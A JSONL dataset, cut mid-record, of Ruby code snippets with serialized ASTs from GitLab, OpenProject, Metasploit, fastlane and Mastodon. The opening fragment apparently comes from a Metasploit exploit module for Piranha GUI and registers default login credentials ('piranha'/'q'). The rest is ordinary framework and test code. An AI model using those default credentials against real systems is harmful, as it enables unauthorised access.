(piranha-gui-0.4.12-1.i386.rpm)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2000-04-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP username to specify for basic authentication\"]},{\"type\":\"str\",\"children\":[\"piranha\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP password to specify for basic authentication\"]},{\"type\":\"str\",\"children\":[\"q\"]}]}]}]}]}]}]}","id":"20661bf5-a67c-4bf6-8a67-dbf328551990"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":48,"raw_source":"def push_group_breadcrumbs(group)\n sorted_ancestors(group).with_route.reverse_each do |parent|\n push_to_schema_breadcrumb(simple_sanitize(parent.name), group_path(parent), parent.try(:avatar_url))\n end\n\n push_to_schema_breadcrumb(simple_sanitize(group.name), group_path(group), group.try(:avatar_url))\n end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"push_group_breadcrumbs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sorted_ancestors\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"with_route\"]},\"reverse_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[null,\"push_to_schema_breadcrumb\",{\"type\":\"send\",\"children\":[null,\"simple_sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"group_path\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"try\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"push_to_schema_breadcrumb\",{\"type\":\"send\",\"children\":[null,\"simple_sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"group_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"try\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]}]}]}","id":"86b33443-0e56-4395-aee3-eb526304a5c1"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/menu/quick_add_menu.rb","start_line":76,"raw_source":"def expect_link(matcher, present: true)\n within_dropdown do\n if present\n expect(page).to have_link matcher\n else\n expect(page).to have_no_link matcher\n end\n end\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"kwoptarg\",\"children\":[\"present\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_dropdown\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"present\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_link\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_link\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]}]}]}]}]}","id":"4ee90bbc-aae6-4e48-a129-98e28100068c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/log_sink_factory.rb","start_line":19,"raw_source":"def self.new(name = nil, *attrs)\n name ||= Rex::Logging::Sinks::Flatfile.name.demodulize\n raise NameError unless available_sinks.include?(name.to_sym)\n\n log_sink = Rex::Logging::Sinks.const_get(name)\n log_sink.new(*attrs)\n rescue NameError\n raise Rex::ArgumentError, \"Could not find logger #{name}, expected one of #{available_sinks.join(', ')}\"\n end","complexity_score":19.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"attrs\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Logging\"]},\"Sinks\"]},\"Flatfile\"]},\"name\"]},\"demodulize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_sinks\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NameError\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_sink\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Logging\"]},\"Sinks\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_sink\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find logger \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\", expected one of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_sinks\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},null]}]}","id":"473418c4-5007-41c0-b419-07b1218a1569"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/spec/itunes_transporter_spec.rb","start_line":95,"raw_source":"def shell_provider_id_command(jwt: nil)\n # Ruby doesn't escape \"+\" with Shellwords.escape from 2.7 https://bugs.ruby-lang.org/issues/14429\n escaped_password = if RUBY_VERSION >= \"2.7.0\"\n \"'\\\\!\\\\>\\\\ p@\\\\$s_-+\\\\=w'\\\"\\\\'\\\"'o\\\\%rd\\\\\\\"\\\\&\\\\#\\\\*\\\\<'\"\n else\n \"'\\\\!\\\\>\\\\ p@\\\\$s_-\\\\+\\\\=w'\\\"\\\\'\\\"'o\\\\%rd\\\\\\\"\\\\&\\\\#\\\\*\\\\<'\"\n end\n [\n '\"' + FastlaneCore::Helper.transporter_path + '\"',\n \"-m provider\",\n ('-u fabric.devtools@gmail.com' if jwt.nil?),\n (\"-p #{escaped_password}\" if jwt.nil?),\n (\"-jwt #{jwt}\" unless jwt.nil?)\n ].compact.join(' ')\n end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_provider_id_command\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"jwt\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_password\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]},\">=\",{\"type\":\"str\",\"children\":[\"2.7.0\"]}]},{\"type\":\"str\",\"children\":[\"'\\\\!\\\\>\\\\ p@\\\\$s_-+\\\\=w'\\\"\\\\'\\\"'o\\\\%rd\\\\\\\"\\\\&\\\\#\\\\*\\\\<'\"]},{\"type\":\"str\",\"children\":[\"'\\\\!\\\\>\\\\ p@\\\\$s_-\\\\+\\\\=w'\\\"\\\\'\\\"'o\\\\%rd\\\\\\\"\\\\&\\\\#\\\\*\\\\<'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"transporter_path\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"str\",\"children\":[\"-m provider\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"-u fabric.devtools@gmail.com\"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-p \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_password\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-jwt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]}]}]}]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"2af85364-0248-40ac-b734-521ad261255f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/simple/auxiliary.rb","start_line":171,"raw_source":"def self.job_run_proc(ctx, &block)\n mod = ctx[0]\n run_uuid = ctx[1]\n job_listener = ctx[2]\n begin\n begin\n job_listener.start run_uuid\n mod.setup\n mod.framework.events.on_module_run(mod)\n result = block.call(mod)\n job_listener.completed(run_uuid, result, mod)\n rescue ::Exception => e\n job_listener.failed(run_uuid, e, mod)\n raise\n end\n rescue Msf::Auxiliary::Complete\n mod.cleanup\n return\n rescue Msf::Auxiliary::Failed => e\n mod.error = e\n mod.print_error(\"Auxiliary aborted due to failure: #{e.message}\")\n\n # The caller should have already set mod.fail_reason\n if mod.fail_reason == Msf::Module::Failure::None\n mod.fail_reason = Msf::Module::Failure::Unknown\n end\n mod.fail_detail ||= e.to_s\n\n mod.cleanup\n return\n rescue ::Timeout::Error => e\n mod.error = e\n mod.fail_reason = Msf::Module::Failure::TimeoutExpired\n mod.fail_detail ||= e.to_s\n mod.print_error(\"Auxiliary triggered a timeout exception\")\n mod.cleanup\n return\n rescue ::Interrupt => e\n mod.error = e\n mod.fail_reason = Msf::Module::Failure::UserInterrupt\n mod.fail_detail ||= e.to_s\n mod.print_error(\"Stopping running against current target...\")\n mod.cleanup\n mod.print_status(\"Control-C again to force quit all targets.\")\n begin\n Rex.sleep(0.5)\n rescue ::Interrupt\n raise $!\n end\n return\n rescue ::Msf::OptionValidateError => e\n mod.error = e\n mod.fail_reason = Msf::Module::Failure::BadConfig\n mod.fail_detail ||= e.to_s\n ::Msf::Ui::Formatter::OptionValidateError.print_error(mod, e)\n rescue ::Exception => e\n mod.error = e\n mod.fail_reason = Msf::Module::Failure::Unknown\n mod.fail_detail ||= e.to_s\n mod.print_error(\"Auxiliary failed: #{e.class} #{e}\")\n if(e.class.to_s != 'Msf::OptionValidateError')\n mod.print_error(\"Call stack:\")\n e.backtrace.each do |line|\n break if line =~ /lib.msf.base.simple.auxiliary.rb/\n mod.print_error(\" #{line}\")\n end\n end\n\n elog('Auxiliary failed', error: e)\n mod.cleanup\n\n end\n return result\n ensure\n # Register an attempt in the database (an `Mdm::ExploitAttempt` (and\n # possibly an `Mdm::VulnAttempt`).\n #\n # Since auxiliary modules don't report clearly when it is a success or a\n # failure, we are calling #report_failure keeping the `mod.fail_reason`\n # value unchanged. This value is set to `Msf::Module::Failure::None` when\n # no error was reported. It should be set to another\n # `Msf::Module::Failure::*` value otherwise.\n mod.report_failure\n end","complexity_score":89.93,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_run_proc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"run_uuid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"job_listener\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_listener\"]},\"start\",{\"type\":\"lvar\",\"children\":[\"run_uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"setup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"framework\"]},\"events\"]},\"on_module_run\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_listener\"]},\"completed\",{\"type\":\"lvar\",\"children\":[\"run_uuid\"]},{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_listener\"]},\"failed\",{\"type\":\"lvar\",\"children\":[\"run_uuid\"]},{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Auxiliary\"]},\"Complete\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"cleanup\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Auxiliary\"]},\"Failed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"error=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Auxiliary aborted due to failure: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"None\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"Unknown\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"cleanup\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"error=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"TimeoutExpired\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"str\",\"children\":[\"Auxiliary triggered a timeout exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"cleanup\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"error=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"UserInterrupt\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"str\",\"children\":[\"Stopping running against current target...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"cleanup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_status\",{\"type\":\"str\",\"children\":[\"Control-C again to force quit all targets.\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"OptionValidateError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"error=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Ui\"]},\"Formatter\"]},\"OptionValidateError\"]},\"print_error\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"error=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"Unknown\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fail_detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Auxiliary failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"to_s\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Msf::OptionValidateError\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"str\",\"children\":[\"Call stack:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"lib.msf.base.simple.auxiliary.rb\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Auxiliary failed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"cleanup\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"report_failure\"]}]}]}","id":"1a368847-3897-48d0-8f00-b98e881f540e"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/redmine/i18n.rb","start_line":41,"raw_source":"def self.included(base)\n base.extend Redmine::I18n\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redmine\"]},\"I18n\"]}]}]}","id":"fb701175-57a7-4b3a-b67d-96ca23937053"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/scheduler/scheduled_statuses_scheduler.rb","start_line":36,"raw_source":"def unpublish_expired_announcements!\n expired_announcements.in_batches.update_all(published: false, scheduled_at: nil)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unpublish_expired_announcements!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expired_announcements\"]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheduled_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"743f0897-410a-4507-99a8-cd6da419e51a"} 